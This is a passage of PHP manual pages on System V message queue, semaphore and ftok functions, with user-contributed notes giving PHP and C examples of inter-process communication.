int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com 22-Jun-2002 07:54
Samlpe code for using most of the functions here:

    $MEMSIZE    =   512;//  size of shared memory to allocate
    $SEMKEY     =   1;  //  Semaphore key
    $SHMKEY     =   2;  //  Shared memory key

    echo "Start.\n";
    // Get semaphore
    $sem_id = sem_get($SEMKEY, 1);
    if ($sem_id === false)
    {
        echo "Fail to get semaphore";
        exit;
    }
    else
        echo "Got semaphore $sem_id.\n";

    // Accuire semaphore
    if (! sem_acquire($sem_id))
    {
        echo "Fail to aquire semaphore $sem_id.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success aquire semaphore $sem_id.\n";

    $shm_id =   shm_attach($SHMKEY, $MEMSIZE);
    if ($shm_id === false)
    {
        echo "Fail to attach shared memory.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success to attach shared memory : $shm_id.\n";

    // Write variable 1
    if (!shm_put_var($shm_id, 1, "Variable 1"))
    {
        echo "Fail to put var 1 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var1 to shared memory.\n";

    // Write variable 2
    if (!shm_put_var($shm_id, 2, "Variable 2"))
    {
        echo "Fail to put var 2 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var2 to shared memory.\n";

    // Read variable 1
    $var1   =   shm_get_var ($shm_id, 1);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
    }
    else
        echo "Read var1=$var1.\n";

    // Read variable 1
    $var2   =   shm_get_var ($shm_id, 2);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
    }
    else
        echo "Read var2=$var2.\n";

    // Release semaphore
    if (!sem_release($sem_id))
        echo "Fail to release $sem_id semaphore.\n";
    else
        echo "Semaphore $sem_id released.\n";

    // remove shared memory segmant from SysV
    if (shm_remove ($shm_id))
        echo "Shared memory successfully removed from SysV.\n";
    else
        echo "Fail to remove $shm_id shared memory from SysV.\n";

    // Remove semaphore
    if (sem_remove($sem_id))
        echo "semaphore removed successfully from SysV.\n";
    else
        echo "Fail to remove $sem_id semaphore from SysV.\n";
    echo "End.\n";
mikew at php dot net 01-Jun-2001 06:46
As for security,   please look at the perm argument to shm_get.   Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.   As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de 21-Sep-2000 08:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.


Convert a pathname and a project identifier to a System V IPC key

  • « Semaphore Functions
  • msg_get_queue »
  • PHP Manual
  • Semaphore Functions
  • Convert a pathname and a project identifier to a System V IPC key

ftok

(PHP 4 >= 4.2.0, PHP 5)

ftok — Convert a pathname and a project identifier to a System V IPC key

Description

int ftok ( string $pathname , string $proj )

The function converts the pathname of an existing accessible file and a project identifier into an integer for use with for example shmop_open() and other System V IPC keys.

Parameters

pathname

Path to an accessible file.

proj

Project identifier. This must be a one character string.

Return Values

On success the return value will be the created key value, otherwise -1 is returned.

See Also

  • shmop_open() - Create or open shared memory block
  • sem_get() - Get a semaphore id

User Contributed Notes

vlatko dot surlan at evorion dot hr 22-Apr-2013 07:09
The rather unintuitive usage of ftok with shm related functions like shmop_open and shm_attach could simply be explained as a need to avoid shm key collisions. Using ftok with a file that belongs to your project is likely to generate a unique key. Additionally, using ftok with a file from your project avoids the need to store the key so that other processes can access the segment because ftok will always give you the same key if you pass the same file.
Peter MOLNAR 18-May-2007 02:38
mbowie at buzmo dot com wrote:
"The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere."

You can always use chr() as an alternative.
marco at greenlightsolutions dot nl 17-Apr-2007 05:08
As ftok uses only the last 16 bits of the inode of the file, you can get collisions on large filesystems. Unfortunately, on large filesystems you can get collisions rather quickly: if you have a collection of 350-400 files, odds are that two of them have inodes with the same last 16 bits. So I've taken to using fileinode instead of ftok with functions like shmop_open.
mbowie at buzmo dot com 20-Oct-2004 11:41
If you're planning to use ftok() to generate an IPC identifier to share with other applications, note that PHP uses the ASCII value of the proj parameter to generate the key, not the proj (aka id) parameter itself.

The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere.

This may not be the case under all OS's, but certainly is for FreeBSD which requires the id parameter passed to ftok to be an int.

Also of note, ipcs and ipcrm are extremely useful for debugging SysV queues etc.

References:
http://www.freebsd.org/cgi/man.cgi?query=ftok
http://www.asciitable.com
abk at avatartechnology dot com 17-Jun-2004 10:17
Thanks to  daniele_dll@yahoo.it who got this in turn from linux glibc 2.3.2: http://www.php.net/manual/en/function.shmop-open.php -- I'm putting this here because it might be helpful to others.

function ftok($pathname, $proj_id) {
   $st = @stat($pathname);
   if (!$st) {
       return -1;
   }

   $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
   return $key;
}
david dot rech at virusmedia dot de 27-May-2004 04:50
Missing ftok() on Windows? Here's my little workaround:

<?php
if( !function_exists('ftok') )
{
    function ftok($filename = "", $proj = "")
    {
        if( empty($filename) || !file_exists($filename) )
        {
            return -1;
        }
        else
        {
            $filename = $filename . (string) $proj;
            for($key = array(); sizeof($key) < strlen($filename); $key[] = ord(substr($filename, sizeof($key), 1)));
            return dechex(array_sum($key));
        }
    }
}?>

NOTE: There *may* be duplicate keys, even if probability is low.

The key's were NOT computed like the original UNIX ftok() because i.e. fileinode() is also missing on windows. Normally ftok() computes a key based on the file inode and the system minor id of the harddrive the file resides.

Behaviour is like PHPs ftok(), -1 is returned if file is missing or $filename is empty, computed int as hex on success.

--
Regards,
David Rech
kimaz at swecom dot org 03-May-2004 03:35
You dont have to use ftok() for specifying an System V IPC identifier, though its a good thing to do so.

Passing a regular int to, e.g. msg_get_queue, will have the same effect aslong as you use that value when reading/writing.

I use it for some minor tasks generating small queue's.
andreyKEINSPAM at php dot net 24-Apr-2004 06:43
This function is not part neither of ext/sysvsem nor ext/sysvshm but comes with the core functions of PHP (from ext/standard).


Create or attach to a message queue

  • « ftok
  • msg_queue_exists »
  • PHP Manual
  • Semaphore Functions
  • Create or attach to a message queue

msg_get_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_get_queue — Create or attach to a message queue

Description

resource msg_get_queue ( int $key [, int $perms = 0666 ] )

msg_get_queue() returns an id that can be used to access the System V message queue with the given key. The first call creates the message queue with the optional perms. A second call to msg_get_queue() for the same key will return a different message queue identifier, but both identifiers access the same underlying message queue.

Parameters

key

Message queue numeric ID

perms

Queue permissions. Default to 0666. If the message queue already exists, the perms will be ignored.

Return Values

Returns a resource handle that can be used to access the System V message queue.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

Michael Iatrou 02-Jul-2010 06:47
If you are getting the following message (on Linux):

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

aside from what [others have] suggested, you should also check and set an appropriate value for kernel parameter kernel.msgmni, e.g. sysctl -w kernel.msgmni=256
Morten Brrup 17-Mar-2010 10:08
IPC_CREAT has no effect in this function. The PHP source code (file sysvmsg.c) reveals that only if msgget(key,0) fails, msgget(key, IPC_CREAT | IPC_EXCL | perms) is used.
pail dot luo at gmail dot com 28-Feb-2009 06:22
A simple Sample to introduce Message Queue.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] stat|send|receive|remove msgType MSG [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] receive ID \n" ;
        echo "       $argv[0] stat \n" ;
        echo "       $argv[0] remove \n" ;
        exit;
}

$MSGKey = "123456" ;

## Create or attach to a message queue
$seg = msg_get_queue($MSGKey) ;

switch ( $argv[1] ) {
    case "send":
        msg_send($seg, $argv[2], $argv[3]);
        echo "msg_send done...\n" ;
        break;

    case "receive":
        $stat = msg_stat_queue( $seg );
        echo 'Messages in the queue: '.$stat['msg_qnum']."\n";
        if ( $stat['msg_qnum']>0 ) {
            msg_receive($seg, $argv[2], $msgtype, 1024, $data);
            var_dump($msgtype);
            var_dump($data);
            echo "\n";
        }
        else {
            echo "No Msg...\n";
        }
        break;

    case "stat":
      print_r( msg_stat_queue($seg) );
        break;

    case "remove":
        msg_remove_queue($seg);
        break;
}
?>
david dot schueler at tel-billig dot de 17-Dec-2008 05:17
If you are getting this message on your *NIX box:

Warning: msg_get_queue() [function.msg-get-queue]: failed for key 0x12345678: No space left on device in /path/to/script.php on line 1

you may use the command "ipcrm" as root to clear the message queue. Use "man ipcrm" to get more info on it.
The default setting for maximum messages in the queue is stored in /proc/sys/fs/mqueue/msg_max. To increase it to a maximum of 100 messages, just run:
echo 100 > /proc/sys/fs/mqueue/msg_max

Please ensure to follow a good programming style and close/free all your message queues before your script exits to avoid those warning messages.
martin dot velek at gmail dot com 01-Aug-2007 01:23
Lack of IPC_EXCL makes me unhappy. Of course, you can use ftok() to generate a unique key. This code is not allmighty, another process under the same user can open the queue and function returns true. But in some situation it could help.

code:

<?
function ipcEXCL($res,$perm)
{
 $pole = msg_stat_queue($res);

 if($pole['msg_perm.uid']==posix_getuid() &&
    $pole['msg_perm.gid']==posix_getgid()  &&
    $pole['msg_perm.mode']==$perm  &&
    $pole['msg_stime']==0  &&
    $pole['msg_rtime']==0  &&
    $pole['msg_qnum']==0  &&
    $pole['msg_lspid']==0  &&
    $pole['msg_rspid']==0)
        return true;
 else
        return false;
}

$res=msg_get_queue($key,$perm);

if(ipcEXCL($res,$perm))
   echo "probably I am a creator:";
else
   echo "probably not";
?>
joeldg AT listbid.com 02-May-2003 09:10
// Here is an example of working with message queues.
// if you have forked processes, this could be a great way of passing
// out work to them

// create the message queue
// pick a file..
  $key_t = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);

    // place two messages on the queue
    if (!msg_send ($key_t, 1, 'This is message #1', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";
    if (!msg_send ($key_t, 1, 'This is message #2 ', true, true, $msg_err))
       echo "Msg not sent because $msg_err\n";

    // lets look at the queue structure 'msg_qnum' is really what we want to see
    // it should be '2'
    print_r(msg_stat_queue($key_t));

    // pull off the stack
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #1'
        } else {
           echo "Received $msg_error fetching message\n";
        }
    // look at the structure again, ms_qnum should be '1'
    print_r(msg_stat_queue($key_t));
        if (msg_receive ($key_t, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           if ($msg == 'Quit');
           echo "$msg\n"; // prints 'This is message #2'
        } else {
           echo "Received $msg_error fetching message\n";
        }
   // look at the structure again, ms_qnum should be '0', no more messages on the queue
   print_r(msg_stat_queue($key_t));

   // get rid of the queue we created
   msg_remove_queue ($key_t);


Check whether a message queue exists

  • « msg_get_queue
  • msg_receive »
  • PHP Manual
  • Semaphore Functions
  • Check whether a message queue exists

msg_queue_exists

(PHP 5 >= 5.3.0)

msg_queue_exists — Check whether a message queue exists

Description

bool msg_queue_exists ( int $key )

Checks whether the message queue key exists.

Parameters

key

Queue key.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure

User Contributed Notes

tkuschel at loytec dot com 06-Jul-2012 05:40
Following code will do the job:
<?php
$key = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
michael dot hajuu at gmail dot com 09-Mar-2011 02:01
A simple script for checking what message queues are in use on a [presumably new] server environment.

Run with php-cli

<?php
$k = 0;
while (true) {
  echo $key,"...\r";
  if (msg_queue_exists($key))
   echo "\r",$key,'::Exists',"\n";
   $key++;
}
?>
jaredm 11-Dec-2009 01:31
A workaround for those not yet running 5.3 on *nix:

<?php
function queue_exists($key) {
    if(function_exists("msg_queue_exists")) {
        return msg_queue_exists($key);
    } else {
        $aQueues = array();
        exec("ipcs -q | grep \"^[0-9]\" | cut -d \" \" -f 1", $aQueues);
        if(in_array($key,$aQueues)) return true;
        else return false;
    }
}
?>

Maybe a bit slow and kludgey, but it works.


Receive a message from a message queue

  • « msg_queue_exists
  • msg_remove_queue »
  • PHP Manual
  • Semaphore Functions
  • Receive a message from a message queue

msg_receive

(PHP 4 >= 4.3.0, PHP 5)

msg_receive — Receive a message from a message queue

Description

bool msg_receive ( resource $queue , int $desiredmsgtype , int &$msgtype , int $maxsize , mixed &$message [, bool $unserialize = true [, int $flags = 0 [, int &$errorcode ]]] )

msg_receive() will receive the first message from the specified queue of the type specified by desiredmsgtype.

Parameters

queue

desiredmsgtype

If desiredmsgtype is 0, the message from the front of the queue is returned. If desiredmsgtype is greater than 0, then the first message of that type is returned. If desiredmsgtype is less than 0, the first message on the queue with the lowest type less than or equal to the absolute value of desiredmsgtype will be read. If no messages match the criteria, your script will wait until a suitable message arrives on the queue. You can prevent the script from blocking by specifying MSG_IPC_NOWAIT in the flags parameter.

msgtype

The type of the message that was received will be stored in this parameter.

maxsize

The maximum size of message to be accepted is specified by the maxsize; if the message in the queue is larger than this size the function will fail (unless you set flags as described below).

message

The received message will be stored in message, unless there were errors receiving the message.

unserialize

If set to TRUE, the message is treated as though it was serialized using the same mechanism as the session module. The message will be unserialized and then returned to your script. This allows you to easily receive arrays or complex object structures from other PHP scripts, or if you are using the WDDX serializer, from any WDDX compatible source.

If unserialize is FALSE, the message will be returned as a binary-safe string.

flags

The optional flags allows you to pass flags to the low-level msgrcv system call. It defaults to 0, but you may specify one or more of the following values (by adding or ORing them together).

Flag values for msg_receive
MSG_IPC_NOWAIT | If there are no messages of the desiredmsgtype, return immediately and do not wait. The function will fail and return an integer value corresponding to MSG_ENOMSG.
MSG_EXCEPT | Using this flag in combination with a desiredmsgtype greater than 0 will cause the function to receive the first message that is not equal to desiredmsgtype.
MSG_NOERROR | If the message is longer than maxsize, setting this flag will truncate the message to maxsize and will not signal an error.

errorcode

If the function fails, the optional errorcode will be set to the value of the system errno variable.

Return Values

Returns TRUE on success or FALSE on failure.

Upon successful completion the message queue data structure is updated as follows: msg_lrpid is set to the process-ID of the calling process, msg_qnum is decremented by 1 and msg_rtime is set to the current time.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_send() - Send a message to a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

marbledore at mail dot ru 16-Jun-2011 12:38
It looks like msg_receive() allocates a memory with size $maxsize, and only then tries to receive a message from queue into allocated memory. Because my script dies with $maxsize = 1 Gib, but works with $maxsize = 10 Kib.
shepik at yandex dot ru 02-Jul-2009 04:09
The behaviour of msg_recieve function depends on value of $desiredmsgtype:
If zero: the first message with any $msgtype will be recieved.
Positive: the first message with $msgtype = desiredmsgtype
Negative: the first message with $msgtype <= abs ($desiredmsgtype)
(where "$msgtype" means msgtype the message was sent with)
eimers at mehrkanal dot com 19-Mar-2008 05:49
<?php error_reporting(E_ALL);
/**
 * Example for sending and receiving Messages via the System V Message Queue
 *
 * To try this script run it synchron/asynchron twice times. One time with ?typ=send and one time with ?typ=receive
 *
 * @author          Thomas Eimers - Mehrkanal GmbH
 *
 * This document is distributed in the hope that it will be useful, but without any warranty;
 * without even the implied warranty of merchantability or fitness for a particular purpose.
 */

header('Content-Type: text/plain; charset=ISO-8859-1');
echo "Start...\n";

// Create System V Message Queue. Integer value is the number of the Queue
$queue = msg_get_queue(100379);

// Sendoptions
$message='nachricht';     // Transfering Data
$serialize_needed=false;  // Must the transfer data be serialized ?
$block_send=false;        // Block if Message could not be send (Queue full...) (true/false)
$msgtype_send=1;          // Any Integer above 0. It signeds every Message. So you could handle multible message
                          // type in one Queue.

// Receiveoptions
$msgtype_receive=1;       // Whiche type of Message we want to receive ? (Here, the type is the same as the type we send,
                          // but if you set this to 0 you receive the next Message in the Queue with any type.
$maxsize=100;             // How long is the maximal data you like to receive.
$option_receive=MSG_IPC_NOWAIT; // If there are no messages of the wanted type in the Queue continue without wating.
                          // If is set to NULL wait for a Message.

// Send or receive 20 Messages
for ($i=0;$i<20;$i++) {
  sleep(1);
  // This one sends
  if ($_GET['typ']=='send') {
    if(msg_send($queue,$msgtype_send, $message,$serialize_needed, $block_send,$err)===true) {
      echo "Message sendet.\n";
    } else {
      var_dump($err);
    }
  // This one received
  } else {
    $queue_status=msg_stat_queue($queue);
    echo 'Messages in the queue: '.$queue_status['msg_qnum']."\n";

    // WARNUNG: nur weil vor einer Zeile Code noch Nachrichten in der Queue waren, muss das jetzt nciht mehr der Fall sein!
    if ($queue_status['msg_qnum']>0) {
      if (msg_receive($queue,$msgtype_receive ,$msgtype_erhalten,$maxsize,$daten,$serialize_needed, $option_receive, $err)===true) {
              echo "Received data".$daten."\n";
      } else {
              var_dump($err);
      }
    }
  }
}

?>
marvel at post dot cz 26-Jan-2008 11:27
Consider this e.g. Linux situation:

<?php
//file send.php
$ip = msg_get_queue(12340);
msg_send($ip,8,"abcd",false,false,$err);
//-----------------------------------------------------
<?php
//file receive.php
$ip = msg_get_queue(12340);

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";

msg_receive($ip,0,$msgtype,4,$data,false,null,$err);
echo "msgtype {$msgtype} data {$data}\n";
?>

Now run:
in terminal #1   php5 receive.php
in terminal #2   php5 receive.php
in terminal #3   php5 send.php

Showing messages from queue will flip-flop. It means you run once send.php, the message will be shown in terminal #1. Second run it will be in t#2, third #1 and so on.
webmaster at toolshed51 dot com 10-Apr-2003 12:56
This is meant to be run as your apache user in a terminal, call script in note of msg_send and they will communicate.

#! /usr/bin/env php
<?php
    $MSGKEY = 519051; // Message

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    while (1) {
        if (msg_receive ($msg_id, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            if ($msg == 'Quit') break;
            echo "$msg\n";
        } else {
            echo "Received $msg_error fetching message\n";
            break;
        }
    }

    msg_remove_queue ($msg_id);
?>


Destroy a message queue

  • « msg_receive
  • msg_send »
  • PHP Manual
  • Semaphore Functions
  • Destroy a message queue

msg_remove_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_remove_queue — Destroy a message queue

Description

bool msg_remove_queue ( resource $queue )

msg_remove_queue() destroys the message queue specified by the queue. Only use this function when all processes have finished working with the message queue and you need to release the system resources held by it.

Parameters

queue

Message queue resource handle

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_get_queue() - Create or attach to a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.


Send a message to a message queue

  • « msg_remove_queue
  • msg_set_queue »
  • PHP Manual
  • Semaphore Functions
  • Send a message to a message queue

msg_send

(PHP 4 >= 4.3.0, PHP 5)

msg_send — Send a message to a message queue

Description

bool msg_send ( resource $queue , int $msgtype , mixed $message [, bool $serialize = true [, bool $blocking = true [, int &$errorcode ]]] )

msg_send() sends a message of type msgtype (which MUST be greater than 0) to the message queue specified by queue.

Parameters

queue

msgtype

message

serialize

The optional serialize controls how the message is sent. serialize defaults to TRUE which means that the message is serialized using the same mechanism as the session module before being sent to the queue. This allows complex arrays and objects to be sent to other PHP scripts, or if you are using the WDDX serializer, to any WDDX compatible client.

blocking

If the message is too large to fit in the queue, your script will wait until another process reads messages from the queue and frees enough space for your message to be sent. This is called blocking; you can prevent blocking by setting the optional blocking parameter to FALSE, in which case msg_send() will immediately return FALSE if the message is too big for the queue, and set the optional errorcode to MSG_EAGAIN, indicating that you should try to send your message again a little later on.

errorcode

Return Values

Returns TRUE on success or FALSE on failure.

Upon successful completion the message queue data structure is updated as follows: msg_lspid is set to the process-ID of the calling process, msg_qnum is incremented by 1 and msg_stime is set to the current time.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

qeekin at gmail dot com 11-Apr-2014 05:51
I created example how to comunnicate with programe written in C throught messages queues. First run C program (it will create queue) then PHP script.

C code compile with: gcc -std=c99 -o test_queue test_queue.c

test_queue.c:
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

/* Buffer struct for receiving messages */
struct php_buf {
    long mtype;
    char msg[200];
};

int main(void)
{
    struct php_buf buf;
    int msqid;
    key_t key;

    /* Generate key (/var/www/index.php must be accessible file) */
    if((key = ftok("/var/www/index.php", 'G')) == -1) {
        perror("ftok");
        exit(EXIT_FAILURE);
    }

    /* Create message queue */
    if((msqid = msgget(key, 0666 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(EXIT_FAILURE);
    }

    printf("Ready to get string from PHP!\n");

    /* Receive message */
    if(msgrcv(msqid, &buf, sizeof(buf.msg)-1, 0, 0) == -1) {
        perror("msgrcv");
        exit(EXIT_FAILURE);
    }

    /* Eliminate segmentation fault */
    buf.msg[199] = '\0';

    printf("Recieved from PHP: %s\n", buf.msg);

    /* Destroy message queue */
    if(msgctl(msqid, IPC_RMID, NULL) == -1) {
        perror("msgctl");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

test_queue.php:
<?php
/**
* Example how to use System V Messages Queues with PHP and C program.
* This is simple server which create message queue and receive message from it.
* Based on Beej's Guide to Unix IPC
* Autor: Jan Drazil, <qeekin at gmail dot com>
*/

/* Generate key, param fot ftok must be same as in test_msg.c */
if(($key = ftok("/var/www/index.php", "G")) == -1)
    die("ftok");

if(!msg_queue_exists($key))
    die("message queue doesn't exists");

/* Connect to message queue */
if(($msqid = msg_get_queue($key)) === FALSE)
    die("msg_get_queue");

echo "Sending text to msg queue.\n";

/* Send message to C program */
if(!msg_send($msqid, 12, "Hello from PHP!\0", false))
    die("msg_send");

echo "Done"
?>
Muffinman 15-Nov-2012 07:24
When sending non-complex (serialize = false) messages to a program in C, you need to add the null character to the string (\0). Otherwise the previous message will be partially visible if it is longer than the current message. Took some kind help from comp.lang.php for me to figure that out. While it seems so obvious now, I thought I'd share it here.
michael dot NO dot SP dot AM dot cordover+php at gmail dot com 16-Oct-2009 01:10
After about an hour of debugging I've discovered the meaning of the undocumented "PHP Warning: msg_send(): msgsnd failed: Invalid argument" ($errorcode = 13).

This occurred when the size of $message was larger than msg_qbytes (see msg_stat_queue() for how to determine and change msg_qbytes).
shepik at yandex dot ru 02-Jul-2009 04:04
$msgtype used in msg_send function can be any positive integer.
bryan-boone at msn dot com 15-May-2008 12:39
I think it is kinda lame why I cannot find out (easily) explicitly which types of messages are allowed and which ones are not.  Maybe we can start our own little list.  I know that strings work, and arrays do not.
webmaster at toolshed51 dot com 10-Apr-2003 12:51
Sample sending webpage, see msg_receive for matching service

<?php
    $MSGKEY = 519051;

    $msg_id = msg_get_queue ($MSGKEY, 0600);

    if (!msg_send ($msg_id, 1, 'Hi', true, true, $msg_err))
        echo "Msg not sent because $msg_err\n";
?>


Set information in the message queue data structure

  • « msg_send
  • msg_stat_queue »
  • PHP Manual
  • Semaphore Functions
  • Set information in the message queue data structure

msg_set_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_set_queue — Set information in the message queue data structure

Description

bool msg_set_queue ( resource $queue , array $data )

msg_set_queue() allows you to change the values of the msg_perm.uid, msg_perm.gid, msg_perm.mode and msg_qbytes fields of the underlying message queue data structure.

Changing the data structure will require that PHP be running as the same user that created the queue, owns the queue (as determined by the existing msg_perm.xxx fields), or be running with root privileges. root privileges are required to raise the msg_qbytes values above the system defined limit.

Parameters

queue

Message queue resource handle

data

You specify the values you require by setting the value of the keys that you require in the data array.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_stat_queue() - Returns information from the message queue data structure
  • msg_get_queue() - Create or attach to a message queue

User Contributed Notes

webmaster at toolshed51 dot com 17-May-2003 12:50
Example:
$msg_id = msg_get_queue (12341234, 0600);
msg_set_queue ($msg_id, array ('msg_perm.uid'=>'80'));

List of all possible keys at documentation for msg_stat_queue


Returns information from the message queue data structure

  • « msg_set_queue
  • sem_acquire »
  • PHP Manual
  • Semaphore Functions
  • Returns information from the message queue data structure

msg_stat_queue

(PHP 4 >= 4.3.0, PHP 5)

msg_stat_queue — Returns information from the message queue data structure

Description

array msg_stat_queue ( resource $queue )

msg_stat_queue() returns the message queue meta data for the message queue specified by the queue. This is useful, for example, to determine which process sent the message that was just received.

Parameters

queue

Message queue resource handle

Return Values

The return value is an array whose keys and values have the following meanings:

Array structure for msg_stat_queue
msg_perm.uid | The uid of the owner of the queue.
msg_perm.gid | The gid of the owner of the queue.
msg_perm.mode | The file access mode of the queue.
msg_stime | The time that the last message was sent to the queue.
msg_rtime | The time that the last message was received from the queue.
msg_ctime | The time that the queue was last changed.
msg_qnum | The number of messages waiting to be read from the queue.
msg_qbytes | The maximum number of bytes allowed in one message queue. On Linux, this value may be read and modified via /proc/sys/kernel/msgmnb.
msg_lspid | The pid of the process that sent the last message to the queue.
msg_lrpid | The pid of the process that received the last message from the queue.

See Also

  • msg_remove_queue() - Destroy a message queue
  • msg_receive() - Receive a message from a message queue
  • msg_get_queue() - Create or attach to a message queue
  • msg_set_queue() - Set information in the message queue data structure

User Contributed Notes

There are no user contributed notes for this page.


Acquire a semaphore

  • « msg_stat_queue
  • sem_get »
  • PHP Manual
  • Semaphore Functions
  • Acquire a semaphore

sem_acquire

(PHP 4, PHP 5)

sem_acquire — Acquire a semaphore

Description

bool sem_acquire ( resource $sem_identifier )

sem_acquire() blocks (if necessary) until the semaphore can be acquired. A process attempting to acquire a semaphore which it has already acquired will block forever if acquiring the semaphore would cause its maximum number of semaphore to be exceeded.

After processing a request, any semaphores acquired by the process but not explicitly released will be released automatically and a warning will be generated.

Parameters

sem_identifier

sem_identifier is a semaphore resource, obtained from sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore

User Contributed Notes

Sander Backus 04-Nov-2013 06:01
Note that when you reset $sem_identifier the semaphore won't block anymore!

This code does NOT work:
    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    $a = false;

while this one does:

    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    //$a = false;

So: use unique var names for your identifier!
Pinky 13-Feb-2012 05:29
sem_acquire() is blocking, meaning that subsequent calls with the same semaphore will block indefinitely until the semaphore is released. This ensures serialization, but it is not very practical if all you want to do is check if you should proceed or not. Unfortunately, PHP does not yet support any method of querying the state of a semaphore in a non-blocking manner.

It may seem possible to put together such a mechanism by hand, using shared memory (shm_ functions). However, be warned that it is not trivial and ultimately non-productive. You cannot, for example, simply pick a shared mem var, store the semaphore key and query it. Such an operation would be non-transactional and non-atomic ie. it is possible for two or more parallel processes to manage to read "not locked" from the shared mem var before one of them manages to mark it "locked". You would have to use a (blocking) semaphore to serialize access to the shared mem var, thus recreating the very problem you are trying to solve.

In other words, if non-blocking queries are crucial to you, you need to either request that this issue be solved by the PHP designers, or pick another mechanism to do your locking, one that already has this feature.
arjuna w 28-Jan-2012 10:14
In my tests sem_acquire() is 150 times faster than flock()
gladd at trash dot eris dot qinetiq dot com 13-Apr-2004 11:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!


Get a semaphore id

  • « sem_acquire
  • sem_release »
  • PHP Manual
  • Semaphore Functions
  • Get a semaphore id

sem_get

(PHP 4, PHP 5)

sem_get — Get a semaphore id

Description

